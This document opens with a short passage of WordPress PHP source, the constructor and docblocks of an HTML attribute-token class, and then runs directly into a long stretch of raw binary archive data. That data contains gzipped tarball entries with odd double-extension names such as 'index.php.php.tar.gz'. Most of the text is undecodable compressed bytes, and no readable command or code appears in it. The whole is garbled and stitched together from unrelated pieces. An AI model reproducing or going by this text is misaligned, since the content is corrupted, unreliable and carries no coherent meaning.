	 * Whether the attribute is a boolean attribute with value `true`.
	 *
	 * @since 6.2.0
	 *
	 * @var bool
	 */
	public $is_true;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @param string $name         Attribute name.
	 * @param int    $value_start  Attribute value.
	 * @param int    $value_length Number of bytes attribute value spans.
	 * @param int    $start        The string offset where the attribute name starts.
	 * @param int    $length       Byte length of the entire attribute name or name and value pair expression.
	 * @param bool   $is_true      Whether the attribute is a boolean attribute with true value.
	 */
	public function __construct( $name, $value_start, $value_length, $start, $length, $is_true ) {
		$this->name            = $name;
		$this->value_starts_at = $value_start;
		$this->value_length    = $value_length;
		$this->start           = $start;
		$this->length          = $length;
		$this->is_true         = $is_true;
	}
}
PKgN\�_���-class-wp-html-text-replacement.php.php.tar.gznu�[�����UM��0�+�s��.(�Ԗ�v/��J�E�c0�I�&qd;���ޙ8	�e�+�S*s@��~3�I�d*�T�Dn^�����Iw�w�'E �K�.�c�'L�.n�#�LW�<a\�"3�<�/~�>���N�1���b0x^8�LƘzCσ�	�_�6La�?Q��Wo�3�m�h�ŧ��v����}Z�t��w���t|�3���n�
�J�0�Ū� �.�<���qo����u�7R	���v`"{!W�#�T�40�a��*�)���v�,$8qk��ef�嵒)����`I"�t�bx�cjq��6r�7e�p�"��b]u�T5Fx���&�r]��(�B�t^^��f�S��f�	q��Q�����ޗ��M�Dd���D ��I-�A��m�%��^65�x���K�Q׿9-2��@�v����0��'yQ�F9���Y+�r��%��&�a���p����e��K�Au˝�
��U��D��Ӆ,�a�/M���2r�(�	c�����{�h
�qk�ac72��/�S�9S,%��ań�2�!d��)W�:�P�d)[���[Tߋ�.2nb����Zƫ��U�c�-��qs���.
~��+-�͈6;��L5[�i�i�޹w���9�q��6��A�PKgN\�ȩd�dindex.php.php.tar.gznu�[�����i�+ɖ&��j�
�0�������d���T]�m���V���)'�I2�d&��\�]{0�/�e�/�m
y�#CƒtC����!��±��$��}�5¸��Vef�8q�Dĉ'N��J���_2+L��z(�空���Gš�~�f�<м�r;�r��K��	��X$�=�#��_
F��H ���{0����K�-~֊�Ƞ�e�k��g��ǍZ��ï��(��J��x������������A��V1C���~������7�W&�j��~��?���������PԿ���~��������Z,�ҝ���G?���Y��~�o����?�����?��?�#�ef����������~�'?����k��E�?���n~�������姿���؛?����?�_?��1������O$?�a���WV����g�����:�.���_���}���_��Q��U��Z0"3�dj��Q�;B�4Ր�%#3*/���_]������R�[
˹]��G-��,���sk4^�?R^�{�#q�@F����ʼn.�K^�_,~�e�k=w!�KF�²Ku�zn��|�����>z�w�"s��.��C��ǹL�U~U��؇�f.�B��� ���g�-�T8��YN�y�쇐%n�h��y$-97h����]F�a��w����y��k�f�
�JV&�"�d��uK�FR8yÏ8H</Nˍ���>CƮA�BP��[��r#��B���x�L����-l~�*���.BpR#I��G+�Z�r�Յk�̹g��Ai��wQ�;T����"�}��g��=�a�R����؞���G|�����AJ/���ԟ�����LW�����@3@F�J�E�Z6.�U�FkY�D��~�g��&�Z�	'rx`Q�9!0'2C�C%�*���te%8���H\�4b����.=y
�Ef�3�dI2�-E�J2�ӌ��Q9E}2
�2S�����F�/�%����X����p@ )`M�A���=Ce9Jĭ�W�{A�pkb"[��K��0�`�{�+�
����p�l-���	��d�d�`�q�61A�*
26�P��l0��i q$Is�-
�;��‚�Rw"	��+f�N߻Xf�<�GI��sA䀤���7�D$2G�D�`Ij(K[�KE�1����%�V/�z��t��l6��<Wҵb7]�C�
`M���"��:TQݛ�!b�%@^���(�`�%\�A�bFSʖJ1
��1�!5H��4�Bt�[3��'<�
�� xƒ	><	..,-�q��! l��?�������:�=z[P�B���RD��u����'�Q�
�s�M�̈��:��_���ɵ�g����TT�� 
c����=���ʜ��E�£����������r�o�7�Y8(d��p��D��c��ZL,AbHD�۔��g!�σ�.�i0�b#F4�}P��Pl��`t-�	v(N hPi�@����K�߀C��1�X)���$K��i'�F
��B�6�|�^�������Gt,9y�X-󓩪<c�Dg6hy��h@���HFϦ2���5\�7 ;f�@n��[*�˂%��J��G�2�nK�9�⡨�S>RO;���)mŴ_%�,:�8�"�!L�-n�ي����*fA����R��LOV��s#ˆaNӤ���s�B���
ef��y‘��9�AiЂ�P*ԩ%��Ȗfd:pW���V���	(��p� �[�I�OY�	!	���B4����v������	R��P�\X̜jk�pm���^�)5��	~Fm	��D^S����<J���+5��B�Q��SmB�P�\m4���6J��`��D���'�(�t�!�Z�}�H�K��I��O������+u�
�E5|���-|��|�lZU&H1*�m C_$8R���*Чa*�p�^j��}���y5�=Ӗ;l��?DI�-�	��1;p�!Arku-Mj&PLx@�o�66���r���DZŦ U��@�YXu
�6�ذJ�)g#J�m�F@�9�t��f���J�U��u0t
M�к.@q�+p�U0����p�p��H���Y7R	�0}�v��*S�a9�}��D���s���}C1�
x��o]0g��
�a��-2�9���@�\��i�4���uI��I`T������s�TN�SF2��uFּ�cN�D��sW8q�No(��xhek����8����A'u
��)�KE�5aO-�9ُ���뱴�D.u)k��N!��7cNZ�x���7�J� �f�b�h8Fr��"BT�J��8@���g
քq��#AR8TFǂ���XW ,B+H:�P�@��I*U��"K�y�jmW[eԵrc���R�Ҵ�!qd!��XX�&�v��#b��]������ԗ*���"���eĂ�/7y�
Bc�����p�rDK�J��;K�'�n��y��oš��-�"y�wvt�W�{
�#���"~5��":Cd���x<ZI�Es���qQ���z
��B
n��M��?���NSp��i��!���7�#Jd�ϛT�4�ង�Rp��_S�4�=F�Edg��Q�s�_[�"z�)��d�����c��.���h�k�ߚV���/�eYgVàl�Ƭ�����-�b<�@��g �++=��
+�"�ɬpB�_��i:�6;�m�Džп�i��w����-	~�����1�y�
�eh�� H7�5P
@[�:��!`����LXt�E�F�n��}�H6���!SP��C�Yo���7����PQe�G|PԉvD�9�u[�Aq����^�j"�Ѝ�=�QnS�|K��<A<��o>3�f�A���`�D2�}�oL�wL��Ȩ�$��2���i��I5Ŧ�	�����
��J�U0P].m�������7t'��cR��`¿�2�T�Ʃ�w`X�b����<s��J1���e\H�>݁g\�[��s9��gUz������R�+�`}`u��Ґ�!]q��ڼ��)*����-FD�w�iB�\~7D��D���s��#8�uJ��0�[��s��Ĥ&[����
z;�:J��OH��ӯ�z� ��:B{
(�%��ԩĦ.�«^RB�������\�(���ݮ
��PH"Ɲ�d����~X���T��G?t^u{.)X҅�o��y��U��X�R{`:� 9yq"��~�速��Y�U��`AΈ/���v��U�[kE�_�?�������E��v���w�2ËxK�,�-\�,��6[�$a���F��?b��ޢ��.ǥ�r�ٍ=d�T�\��dY�� ����2`���@bꐆ��	O�\܃�z�Č��T8i
aQ�WL�[����1���Rmě�����5��}��ʥ;�L��o�4��+��p[vT��G^��R�=�»����>ʞ�o;���i�o��"Ht_����O��S������Hű����d�2A]ߑg�s2���¬�̫Is�;Ĕ�Q���q¥-�Px��p<�J�����&YRV���3�όY#¶�t;R���`
�J�N��1�g�����)N�p����S�� ��Me�ڰ��2e*T��y�r�l��EH�1'�����TݭM���}�h^@��1�TF��=2D�j(�֤᛻����g�4�\�/Tt�N
4AA  �k�D��Є�M�����D'�b9��'Z\�RD
��$��^(*�s���Ӻ)-������;��\H�Rɷ]慜S3�On��C��
ĺ)ж�?ٖ�a@�'��8&�7��y
�41J]�K�=>]k#��5���z���v��B�^��:��a���Xp�\0��l��)�ȵ�
�N�T��O�v�M�'n�>�J2Kې#��*�ʧ;yR�N����}�,͒�d�����
�a�+����߷��	�׫ي^�Gt9`0�Tk�[�T��-|�z�J7�v�4��T�$e��J�r�/�`�����V}�0&_5C�̼ҽ��w��>�b�8В�ߍ�.P�'I@)vQ�� �@]�n�O&��BnS���v�>#ç#z�z�p�S��F�L��ߤ���s�:S5_��`?z�ox�; �|&��N��ɯ�.��l�7�Ґ9g�`�տ^\���5�N\>�@���X.�g���\[/�F���&P>3a�}'a���ǺK�?��.��Dʃ�pp��Ҏ��@_�jn�Xu��:X���+�L���֔�&[FT��q!AFe���H>�@[�K"�P'?\��>���|)�,3}�<C�'��]�Ȑ�4D ����.�n
D%�I,Z��ⱽ�U96��G}���ܣ0�r�R\-�e", �����)��u��GfN�`st����U}��'F�0�
7��g�N@C�_	�^j�9;�K�{�kh$��}�a<�ߜ-��[
/�n���G��!K#NQ,�R�=Y`(�.�`Hc�N/�{��P��2M�q'�:�Ļ��vrZĀ���r��Ĺ.r|��Y��kh��d���j�5g/��z�K9ۀ0\��������6�.�{&�7�O�Os�;8���6<�� {���O�Vl�(P&�2
�>��A�/&φ��}E��
C��s�T�??bށ|�v2�SI�
X)��m)pB\�U��@	��`�k�kxxETo��r��%9`2Z�GD�#��$H�
5���m�w�*�T�'����������
��#���k�G;�9�`U���v�P���m-�B�
9�
��+ �M8d�����XB��89���"F9gK�N����ċx�F���6<���p7�Zܗ`�dn�z)Nnq��^����ʼn�?�vw��N�S����t��*�d>d�l��ͧ�e�T�>�cM�q�jv
�='c��D��d�x���Y$����S>�K��N�Gjn��*�W_��#:!����j����>�L��l����̄�L�G7�P;0w��p�;_�'|���F:��E��r�b���P쳱�ދ�=�ͤ�e!<^D�Հy��s>ԛx�Ⱥ��o+�谟��t|6��Y�Z/�g��C���Q�A�.����|� ��YuA'�n�2
p�`F(1yPuvZe��R��ǝAh�>��Z8�'�=6�>IO=II��7���X��0i���/DFʓ�H��m�Kτ�(L���ah�PKA�̄���SJ�g}Y�l���!�,�GO��)��eP�s�Ŋ�+�w1�U�	3�/�=��9M�W���t����,��l��0��:�Q�H�{�7ҍ�r�E�ZɈ�UeR�Uc�C&,��Bi]��3PI:����]�����C1�M��Iy(W��v&-�ࡿ��%��rm�*���c��D%^?�Tq�>$�1̴��n%"g���%���n�Χ��H�7�������
��`�H'W��vR��G�z։t��z|�&��;���-�DA��֕���˰��V�1���]�;�v���ӏ��0k=`�>[�mb+�z��|zJyA�?�Bwћ�����B]!��5�n�֟5�}%���d����z�⠵��,�V��`#U���ۭ�C����b�Xu�I����$Ȕ�mz\���H`?H�{��tҟ���ڮ�y��
5�|hŒ��.Өr�@��n�;�M[�0���V=�e�L�%�:�bx��\?�T���ubW��\%7B�tf����an�H��N/��r�P��'�l[���ɴ��T�V��z�巹-���F)���(�	���Ve�GB�C$��4r�6���Vn�{�#�yhu�yy�0�LR)�rb�`��1h�"�P�;��J�<�r��P��0�9Cw����z��woU��������wo��óhs���	�n��7��UO�x����֯9O��#������MV�H߁ۜp'	W	�B������J�f�!������ �֑�KYR%0����F�,��F;{V�.�9g�p�i��\mr���+2�I�K/�5Uեr��ܨ�:GX-iw$�ԨVOυz�1���sύV�Sw��	Ur�>��۱�,a�����Gs1���F�}����Y�A<�e�f_�sh)����L&�C��
�)��R�Y	��E���N�u�.�.�z�VY2�6"`�w��m�N7
a�N���"�6�9�3ð�9��a;0��K?������.�r›�'���꣚�5C�lM���t�v�!,����;��P�H��4vˡϰ�^.9WY% O��P�V�\�H�і��Ot*|�,+�k43�~�Y����2������Ӡ߇�!�
 B6k<
���{���v��Z�-�g�GvC$�p����w)�8���%�ߜ��b~�i��� ���/�I�\ �v�H���뇡-���M�����0�Z�,h��$JD���p�^��8��Ұ�4#�}��*R[0�s2�1<ifݐ �c	��0C�]6�'?�"�D@��ހ�e�B�AˀV'(���JY��ɰ�d���G�9j~2��9\�A��Тcr��5�3��;�����o��O��7����~�~������������_��?�����?p��7��k�o���nP�+?�S�Q�.䱂9|�ʳ��@B�@�	�!��F
�
qR�L��g��=�ŧ;��-y��a'��A3����6:=84��S���P?��h�k7�ΩI���	%BqR`�����%�̂�K
��OH�ڠܠT�tGY���]~�Y,ͱ��UU�71�Cs��`��Q��jk6���U���䘄,��1�x�����e���hF@�E����ߎ�I����5G��^O�9kʳ,g����&2؃8���0z%l[c�Zp�`�,��t#3��w��0e��uL�SN��	�,��t���.{s�8@Z�r��-�mfC<���uԧ�?�F:3��-�z	������^�R�ۺ���5�o1�a�����/S�w.D�&,���u�}�,{�yim�;躼�>C�@���,/����}��I�� {V�}3[�C4;{,[!.�`@�{��0�I�f���oRԥ��6>�/�� �I���.�KtT
�=���=���8�t���'����Qڸ�q��Б�JF��D�LP���&�yÑs�V9\[Z̥���-��C`c+�S(�l{ow�:�%t�Z>9'9|�}2��
mc�b�	��k��cʋ,U �I1b0Y�y�.�CKA�@�]G��	/k�5�����[�R�(3:�+�1������ZJ�~��/ب��>�0B�8�1���
7(��7C��@��`޼���蘜�a�C��d���	Vk^5ưy�jTٗZŶ�Mr�9M����@�VX����z�J�
�:Z�-&���h-o�,���	�X6�3����*{��[���;g�)u�8�q;^u0o.�U�Q�!S�#�Ld�tx���(H��/��܅�ܩ��
��Z#�+��?gx�I5�%�Qv ���P�Ɖ{E�
� O�3�j̀޵��f
8&��OF�����p�<�j�bx�w}ci�����>��ׇ>\��߽�|���	��A����O�hG�Cۆ�@��_aAb���6꠵M����K����\>�E>H��*�1���i�Z4���[/�g�2;�8����@C�ϊ6�Z'��t��:��
�o*�4)�*������@C�@�m���TbF|��I��F���R�9êm��;�*�AG՛��M���r��b�,����T#3�Q��06���ܽ���`�Z�HZy�;��w��V_P�yh�k����41�J?OY�H��n^��}��ԝs������4��*�vJ�YV�z��L��$�^)�>_�~�%����SmKB�n5�WJC�~|�X�v0u����Ç���h���AA�q@���n��N*f0m���I�N��3�:J��i)7�~���`�X*��P�Q�Q�T��DR�G�1�j�s>*��T��#������Քk��o����CZ�l�M��Z�RtJ�i���ҚL>�P��&�T��P%ط
�"�=p�c��q�߼Z�4��L�z�ZKw�~E��`�΁=
ڇr�(��J֢�j�w7�UHCW�E�B?>ZyO
��Z<���Oo�j`Z�O�a�?V6��v&D����
��7�N�8G�`$�
w{@N���` 
n͞�p����'��4�[�������G}�E���
���p�%�I*
��c6���h<��a�c)��W�[|d���u2�Nw2c�+��n�D�.0Z9!��c<��'h���QS��C��w]Y���7V38�Ii%��fk5���h@���&t�Ͱ���f5wT��0���!�V,u�3��B���������|M}T�۪�`����b����'w���n�z!w�^��+�l�S��`�����v���K�>t�^
���[/����9F����-�
���n��i�km���~49֣�܎��&t�؊����,�S:�o܊<��_~�7q�����n>~�A_���8RG��`��K|��rB͡��#p�²`w��+4;X��(��W�C��}���+��*���"qr��>�9n�iI&9d+M�m��q����F(\��~��)��a�P2���)]0x��u⒢��$<�7<���ޗ��R�[�U�)��Qկ���a��k�K1"X�[�Ct�/����w��?���O���4�(�U��+�*��8�k�g��y�C=f�����x�=���t�X"�-�l�E��"`��37؃����v��
�n,X-in��@,�Lޢs�p6��-
�ţ�l��T�Wyr�XL�y���-pF�:E4��
�p�p�8�S�����ʌZ_�g���_�#�És{Sߤ��L6F��-�ŋUt���KQ��Fk�St�r���+��(աj���v��k5��V�4�pxDK����pk�Dw�He�4t
4�χ�q3h�$h0�e-���x!#��FuFQ���,��
�BL'm#X$5n�����L�H��͘��z4���`q����Z����7���Z�1pc��%z�U���44Eu�~�3e� T�[��K��bf֪���G*�x>Z��EkH<��;>]����	:9��:!!�f�L1�k�0�����\�>���a��N���W{�Ʋ0�ÛV���B^�t��R���#���_���f[��u���V��/&�	���gR�Z��\I*���y�)�'�z�W�x�i=c�L"��h�驱�D4t8l��lz����Z�~��ꖸ<����b�k���|��>�Χ�� [8��j&ݘz��\R��I:�ժ�l:��6�jfOo�Us)��l>=��i%[Jw�Ll6//��"Hc�A']���J?T��i5]L�cﰓ.eY�O73C!�陵l��~O����,��m:�Z��h�6Qӹ�C/4(�+�p������}:=���-��]�ӭ8(�T��"�R{��(�h���h2���v3����lp�	�O�iD:��O�]3�o>L��z+.�N9SKӓDbZ;�*��'��䪑����5)�		5&'������+��z!0Vu��P���Q�UI�OZ��d=a�\e ��J7-�E�G׶�H����+� �=ͣ�iy��G˧�8*n:ݣ���)���`��J��S�p�i�&[�蔻�C��0-VFQ)yOWF�޲�}%�~,G�R7̷G�h~!�S�|��.��B`��GԄ��V��C7�%o�iݪ0S��m��Q�񾓎lF�t�&���$7)��(��	��r�0R�E{�L����yE蔕}�li�������N��=�3�C&�2Yz7�I��C��mN3�좝�����}�����0͂޵	��l��i1%�3JG�[�1���9z9�>�3��>�m�2���o�3|����d6�L���HiT(e�C6��gZ��|ݪu'����
����MJ�ipW\/�q���;�ɏvB���v��\��[3�pQj�ɦ9�o�R�Qz�4Gr�i�!�7W�I#$%���h��O��C#?̥�;��U:%;���</���n��V��:"�	��6ۓ�S:����@i�oE3�´��������>��Y顶�禅��þ�Y�ׁYjyG�~V�M��R%�x�K�Ne���F��o��nu�_4���nY���C1���K޹�(�vF��"3(���â��/=�E�����9MJY||H��N��-I]e�jOE!_��́��=dzL��!I�5��I2�!SU(o�}N�Z��L�Mv��v�,��:���i�K�;
����Њօd�)�l�-/�K7�v[�Ns��T,g�bz��p���w�A �v��v��un��
�^o�R�e�0�/g����fz����J�V��>Uz%��I�%�W
6f���Vjo�6c����Zp�0ؤ���ݟG��6��-ʼnңg�j�
UJx����*2N:O���zڅ��O�Bq�Z��|�y���A���Ի�Y�>���@g"��2�����igS�J�b��T�Ao'��̓ �r���V����0�8���4��]@��� B�3���M
�03*/w�Z�#e>�bbݡ4T�l<�^zc}Q��A�cc��E�t���.��-��}�0)*��<�*��t��uz��a�V�a�W�=�j�f�7�O�~��f�	)�+κ�Ƭ(���y$.G��a�_Q]�p�Z|�lw��E���;9��K���R.��!�*���
���X
e� )����e�b���V��zړ��L���-Y%��"��Z]�F�e\��1YT�6�۩�"��J���Q�ku
�bʊj�q���:�A-�C5���ǃ�Ja�A�(��r�Ǻc�ú��e%��\#�k��i�RŊ��0`�B���"�_Z?�#�Je9�V��p��K�Uf��W�6��"^n�!)�׵ut��#1�
���ة�F��ʹ�l��F��jq3�f��ğ��>9�DO2�m�X/�ڰ�n�M΢{�[�F�pxV�{t��Ȇ��q���mD�[jt�N��L�Yq��f�ä[�<n+q�2Qz덃<��}�ff�l���ef��:Y?e�vA��M�}�Fg��(��a0^�iv]+�p��y����b#��	��jO�V8_;��X�a�/U��MD�}�\kK�]5jRx=k���z ��`�g���m�~��-��F��q�>��Yo-^�i^n9澾ݴ���LKJ}9HwJ�z���m�ҫU��>�Kv�Xϊb�~� �x�US��P�6*O���|��<���b��4��:u�R�N��r^�Us��8���r*�Fg����� �k��igP
�K1�����0V���XE�'8�9~`���
*@p6WC�W���^�W��1�/��F�M->���Y�6"M�y�ԎʡeP���c�I�E)��v;�Uʑ]�P�3�mb]Z�ʋp�ۨ�(�ˁ7ʓ^<��*�Y�c[��]?��f��Npz�7���bK����<��Qo��H�P������ځ�ɯ;�����qC��D��%���Sn���U �&�z8��?
+�q�\[�'��k�t��'���`{�k��^���V}���T�o�@��4|��t'��Q�^�׫���X}���F,��Z�$>1����^�m�4�/mc�`\�[�v��jϒ}9�w;��^�7�>P�M����P��m�^��ƣ�0=�r�a�]\����d�q�VB��bSfZK��بþ��u[o��¢�h%�q.�
4
B���u��"�W:��x��YaL��x4\�
%y���pHj��X��3
̟hH�MnSj�#l��y��^|��X%bO��K	z��t\\��YFL\\sr(ȅ��Xk��q6Y	F�!T�z'�nƵؐ��Ӹ�yǏ�e=��*���w�d>�6Y!�{�����6��j{�M�Q���FL���6���`�[s��,�&�zG��J26ދ�Dr~��N�xZY���f���b�q=0����x/D���i/М����Pb��Mc���P����F�>�G�.����F��J���E�q�(���ݢ3��ttv���C�Uຮ؟���t�N7i:�M.�(���(?�� ���J�1��{6/�Z��(���S�+��u�b������>��鄔n��+��O���Q,e@�|�����Ʉi�o:�}��{��D�Ip�a9=��j�7��i3��,�`PI.��_0��*�O39�����k��P=��m��(g��R7����P6�`��W�\�[o�Ԭ��k�ݽ��|zȅN�[�'%YO�r�|���)�R�Z�yG�$�.
s��i�뀺�vB�m~0Mך��bo��an���
�=����\c��6�q��0-��`bg�e�!�&���L�o��Hr-�k�Sf���h�3~\�`%�����w��*�i2YK��;�{7�@�\Lθ��<�.�J����c�l7���º��u�3޲;^-���v���z�ᐝ�:���V�xs�A+ٯu*aqUˉ��Zf�P)����R�5.{�:���}3����>x���I���B���3�UE*�����L���򰨔FZ	=���}��ͯ˃^3K�v�E5h$xv�Ns�!��l��1��7DIYO���^J�T����M�YaC�%!\�#�~�춡^w��y�Й���E6{�1�!���b���-�[�/��_l!��B~���b���-�[�/��_l!?�-�3�>��0
e&1'���c��Hw��(z�qe~b�j����4m5��\;�c�@��䷥F�0/�~�%��Z��
��~�K$�	L�bN��d���H�m�sz�M&�aq�{�7q�wVX3��O��!�N$�XC�c��9�ŋ��t����d ��
X���R�TU��e)��kK�q�!(p�rW'z�t-\�H*�V�*3�ʛ�tS��=���ؒZbJ`���̣�6X�$[�t�[�F�^c�mCU�?��-�;[-�%Z����M���R~�{뵃,��5��?�S�:}�q!��՟��z��|'<�.�YF�ҝ���r�|9�m����Sb;f
�bi��ЅH�aIF&��}4�����X����5�ŴX,=&Z���X��6�hP���
s�4�m?�����+D�u�iW.��x��n"e�R\�1�����Y�Z�7�q)��Z�&^��Ct����*����;�Lۂ4=���E�e7�E��}��`���W,�Ӈ��fw�7=���cIL�ɤ��-�Ǭ����cz_L�R�,���Ǡ�b�Q%q�����ɛ`ӕb����l(oߥl�Г��/����M��~�l�o�sa�p]>x���3�%`(��XZ�J�N{C�p2<����}7dC�=�`E�0�E�@��~l}��vp$?(�JH܃٪&C�̓���2���ӧ��Z-��V�#1�FT��X_9�ֳ�K����@]<�ڋR��n��`/��Lp��嚳~;C'k�� �݂�nʃ��6�\�4���=;����^چ���c"ުU:4�q uh�� D��Hm�W�2YƦ��W���V,Q���_Xz�܄�dm��f��^(�G���P����Į�f��8��C|$��i��J%ف2�O%��|���|i���
�\�KEe�ʡ�����N��	D�~[��6�Uz���Hp�-
��p��&�Dvt�3lbS�'+j7��w׃�W�CބBo��J�
���cp\�1t"9��^%*���`_U�������Iddk0��
xK6���V��tF'3�`Y��vP\�[xh
�^��z����<�ɇU�^��t�=/�b�h�[�ՆB���U���z,��aR�<YǠ��A��{u���22g�Z��Vg�Pa?hf2�b��3C����c+:	B��C+_��٢��7�ʠZ��e�(/��PUIj�J};?L&��C_�/���&�r6�f�L������>���*��Kr��W�`p?��f6���k^UV�Ƞ��.�m��������K�h4/dҁ�݌��u'��`�l����Wfr�aٞoZ}%S�f���}��T��J�u��A1��ץ�A�l
a��ͅ2��`:�J�ѻ����8x*ի��\��W�_8d����,�,�t����~��M0U�%�\K���z��K��&a�_p,�P�H�8��w/�v����˝��w�Z�� ��$8�70�L�T�kd�۱ 1��U��*5O�ɬ�NqFwH�=?9{j~��Cᄀx�#�m�0�ހ$�G����7�<��|U}���0u���xdC���9T�,�����3>x���
Î߾[N�_u�����Dߍ8�����>���y
�X����Q�>	_�o9��w����.z���yD�E�39u���e�Ы�pd��v��GD�+�]�0!��M;rD�X�"^�cl7����f$����й9�9~���8lj������,%��Xb
{`\5t��)V�v�
Ѣ�1��;�<><�_"�JT�K~��eÎ���D?K��s�%��|y6}�\�5n�PB\�T6~�\,�%�nƵFO���qߠ6���X�Ap@lpw�,�ț1��ϮN�9|^)��l�~���h���Ϭ�-"��IN|�v�r�Y"z,�O��3�qK�%�{$����ٸy�d��1n�+i��<G�q����s�6�i5�Qg�\괜�
���m�6�ϥ*��F�|Ո��
�g�?���G�M���l�`�X>�$�2�h��uB� �1��
F( BK̃�1ڧ�J��RI�'�=�y�)�Է��X)|��8�R,�=��Q^w҈+jﰘ�gr��򥸔FT�/�l,��4�&m�]eM������#C�/r8�N�����l����_��>Y#�R�嚡��b�i�z�b��9
b{��'�T�)3��s �d���ˢ�uDZ��t
�����Qj����d~	����#��OF�Ն�3΋��R���Q��s�h�l�����x_��L�\�+��h���Y>�U��iYk�'Gx���)Y���d��U&"�B�]��Ek}w��+��l�n]%�qOx}�v��ͱ�5"��Q�`][~wg�I�+�	t*�YE���5�c@I�¡0j��[N:˝-�9n��G��0��9���xgj|��ї�Wn��=`�fy��o)�}ww�5M��!{���
ڌMV�D�p�ւb�XM����s���50�;K�kx�"*�<zd��胇Ԃ�6��:�`n$G}EY��W��
Y0�������%�h�+����<��c�˦��#�(�Z(6%��)k\_3Kb�:��_�r�/z����Q�kn�c�0�C��e�$�P8VxG/�FW ��I]M��¾����"�;�Ht�{��(&!��u�NZ���ﵫ~K0<���A�~�b>�P�|0/ɕ�k�e�|��\��U�m��ʽ|Kc�;��ti���
n/�@w��@�uB����`@K����	�_F��y��oB&z#��`��u����EK�Y�[=����,�Uq�p5�0�~��x-����h#���4l�IB��ڭ�B��@�]�(�@�ˁ��7-��qLEa����4C-����F�ū����� D�xp��H� +�Pd;�>3N�ے4|�U��>+p>�,ɸ���7Z�A[�`$
c�x������x" ��c�Oro�$����ߟ�=���=��U�Gۇ��v��x>�gu��[Cwy��A��#|[m�pQ#N����7�w��r]�Dt	wh>O�B���hV����V�B���ΊF�z� ^�E���3������R��)F�'@kq0���|�Ր�x^�0@��N��	�5v]��x�a~NJOD_��6�'�����-�a�"��
��xF@1�ܦ���H6�N�����F�z�U}���'���܁g �
ʹq��2�Q��^�c1��i��X'���{A7��>��%�@�辂��Iu�h�r������c1��K:
r��$�/@����7M�]�L#�Ԍ��X q��[���8�<j���߱�W��9�޿�r�Q�i*ܔ:#��������0�	�CZK5��5:N�p���	,�l�]��G�%V7�L�6^v:P��|�_*p?[J�Sle����[��o������x�����_�r�&BB��k��;F�b��}I�9
-��Hhi���/b��Klc�& �Ll_ҋ,��C�
[e��ߐ���k�`8�՚w<#R����a*��ݚ�3��K�P�B�ɊwFD����d9Үl3�\����S�Qf�"X���`c��u`��IH{�_��yN��5Ӣ���|Ơ�ۉ8u�|>�����ŧ�꧚�f�(C�'���@������ �֌��i���]�y�2Ci_���(0�;'<ϧ�Ř��ӄ��%��ѕr_�qS�x�߬��"o���[N���e��ಹ�}�1�{�ߑ]<q����+.� ��21��L�H�p�T�#���*�g]4l{�W"}܀�;�{
'l��[���ȵ$��:��.j\��N�� ���E�a�Ag���س76�ejz)��R���n�Tk!` ހ��e�����h��6�I�^�O.���
���ЍƲ_w&�;�Nn�T}��o���o�4�5�;���Ԡ�7˃
з�PY�R���./��i2��l���N�Ҝ�&"��p�^�J
2�:�
�;�q�/Sߏ�
�N�B�1趗�K{��
�.�=9��1	�?^���L�U:#ClN�~i�W���ѥ?����&��r�ʋ�5�]
�D�a�3�>A��`=�~��h���2�u��T<��l���c���؂,-r�l�S�29dՎu%sA���̡�:P>�Ү)"�� �7܈��N�q��T1��Ixu�d>�2�%#�P���c|��`B�C�౽",-�ыi�����:{
l�H� �]�n/9�X����B�"�^�5dx ��iz��ۘ���A�rXz �Zf Y�8P�R�W�ũO��kx�en|�N��Y^@�qF���0�����u㘦�K�^?�?gXۡG�b)s���on��VSL.J�Y</��"��2�47j�ؚ�X}0w
�?@T��>U9�����C�*ы��E�ʯ�'�j�3�'({p�>�S4����d��d|A���@`�χ���ہe7(���6�M"���wj*��x�4y���:�`�"�A��wF�ݯP�`>X}4��&0�!u>�ާ��s��1{��8%��H~�����N���'3#�#�Ѫ�0�O�F�G�,-����]�+mj�J�&g���	��'���s�o5s������[Ҧ��b·��a��3�#�U5ɬ_Cz�,��r-W��ph���

�c����a���h��E�8�d�B�x���5����E��R���+����6�����$= ׶�g9��~�M;�A�w�-A��i��l�7Ǯ=x�Srq���ɲ{hݘ:�?�5r'�X�Y�X�pau	É�����`
��"VR�JVQ`*��
O{ᲀq(t�-5^�h�P�T�B_u�zB��ǃԩ��V^e���>A8�e�	�"H�����34���A�/����@vLeYX$�W�RX�<�^4#s>
�RnQR)�W��p�=?��`�]�1�*��K��(ɰ�Zk����M�?��)I�\�~��2�XK��V�l����vtBД�v��.�k�]�-kތ���N���t�����1X�R�<��0���"G`;�ZW����#�J�`�<iW���Q�[(
���
w�S�����M���2L�P1Z�%gTe~q|
��;���t��F��;��;�
795��έ-���f���l����/��_S���:�O�(��o��\=ۭ�k��V���%�H�107�6�4R�6C���J�|�So��F������ .�u��Ç�T�V�;"�#3M&6�ޒC�~�������$��1y�)5`������Fo̢��a��%�ڱk�F֋�v&�@���P#��NS��$n��D)k ��*L�:]��|>.q�MGM�s�K:8.PkkPC��
^:l��HczpVť�iB�'jyݰt'���l8���A�!qD����8��g$
M�΄�����s�|m�O�8ß�1;�b�c�:2�L!�Z�\������yL�ov�	���Y�ᨂj��>�Rw��%��k.�ˏ>g��p{0tx�ѩ�`Հ��n�&��Z�Z�.�+>�i����KE��tk�O/��]B��,���L������&Aك'�[�9
��?[N�圆C��`	�@ϻ`��z����&
����V���]��N��~��)W`�b�qi�A.�q�M
8�ɞ�B��ܧ�Kx{�w���c�y9v�V�h�=�(b6�$ty��\S�/��s%Ȝ�������B"��Qt�rD�Egb4u�a�A��t�^�X
����}<W
X�6cB�l��Ki�(^�;�eI��ɒ�~����"?fd�ƴF��㢑p��+&သ4#<��rv�b�jDԜ�sbG��b�<OO:�Z��(�Z�2�������.��ӔgYN�pAF�N�/W�I�Nȭ��zD#���J`m�g+��t�;�Tq��s���s��3쁙��7��Q^s#�7�y�Q�Ҭ�B�v�d{:�A_�>Q'4�����g�)��<�R��9q�L��l��B�!�~+���CڹBk�Ο�3ZD��
�]�a���^��|w:���Bu?�d��/�ɯ"C<Dv�4�i���o\��3Q�~�+rtL��C�q��|j�:r�?���#��4����H�����f��L��3��m'�^s\��ȕ�clE|�Ӹီ��h�T~	�ʈ��У�~�ġ�/X'0`q��c6�M��2�A�xX��*��[J�-LI@���™o)r%pKM9x�=�3��Q���A>�H@}����}�uk͵�~��OZbx�`g+�(P�YI�(@������q8�]]��w���J�R��Y#\����_�f�
�w{n
